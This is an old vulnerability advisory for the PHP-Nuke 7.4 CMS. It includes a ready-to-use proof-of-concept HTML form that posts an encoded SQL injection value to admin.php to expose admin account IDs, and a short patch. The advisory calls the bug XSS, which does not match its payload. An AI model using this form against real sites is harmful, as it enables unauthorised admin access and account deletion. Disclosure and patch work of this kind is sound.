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* CODEBUG Labs

* Advisory #3

* Title: ViewAdmin Bug

* Author: Pierquinto 'Mantra' Manco

* Product: PHP-Nuke 7.4

* Type: XSS

* Web: http://www.mantralab.org

*

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View Admin Bug

- ) Description

PHP-Nuke is a very bugged web CMS, version 7.4 has critical

XSS bug that permit to an attacker to view Admin account aid

and to use this information to delete account using Delete Admin Bug

(CODEBUG #2).

This bug is very old too but we can bypass the patch sending data

by POST instead of GET.

- ) Proof-of-Concept

Create a HTML file with this lines:

<form name="form1" method="POST" action="http://www.sitewithphpnuke.com/admin.php">

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">

<br>

<input type="hidden" name="add_radminsuper" value="1">

<br>

<input type="hidden" name="op" value="mod_authors">

<input type="submit" name="Submit" value="Display">

<br>

</p>

</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['op']) ) {

$op = $HTTP_GET_VARS['op'];

}

if ( !empty($HTTP_POST_VARS['op']) ) {

$op = $HTTP_POST_VARS['op'];

}

-) Note

There are a lot of this problem in PHP-Nuke 7.4, my patch will check

the content of $_POST[op] and $_GET[op].

I'm going to post all this vulnerabilities on my site...

http://www.mantralab.org

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http://www.mantralab.org

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